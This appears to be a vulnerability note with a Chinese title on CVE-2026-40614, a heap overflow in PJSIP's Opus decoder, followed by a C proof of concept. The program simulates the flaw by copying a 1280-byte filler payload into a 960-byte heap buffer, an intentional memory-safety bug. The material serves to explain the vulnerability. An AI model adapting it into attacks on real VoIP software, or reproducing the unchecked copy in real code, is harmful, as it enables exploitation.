CVE-2026-40614 PJSIP Opus解码堆缓冲区溢出漏洞

/* * Conceptual PoC for CVE-2026-40614 * Demonstrating the buffer calculation mismatch. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_ENCODED_PACKET_SIZE 1280 #define SAMPLE_RATE 8000 #define CHANNEL_CNT 1 // Vulnerable buffer size calculation logic from PJSIP size_t calculate_vulnerable_buf_size() { return (SAMPLE_RATE / 1000) * 60 * CHANNEL_CNT * 2; // Results in 960 bytes } void simulate_codec_decode(char* input_payload, size_t input_size) { size_t buf_size = calculate_vulnerable_buf_size(); char* dec_frame_buf = (char*)malloc(buf_size); printf("Allocated buffer size: %zu bytes\n", buf_size); printf("Input payload size: %zu bytes\n", input_size); if (input_size > buf_size) { printf("[!] EXPLOIT: Heap buffer overflow detected!\n"); // This mimics the vulnerable pj_memcpy behavior memcpy(dec_frame_buf, input_payload, input_size); } else { memcpy(dec_frame_buf, input_payload, input_size); } free(dec_frame_buf); } int main() { // Simulate a large Opus packet (1280 bytes) char malicious_payload[MAX_ENCODED_PACKET_SIZE]; memset(malicious_payload, 'A', sizeof(malicious_payload)); simulate_codec_decode(malicious_payload, sizeof(malicious_payload)); return 0; }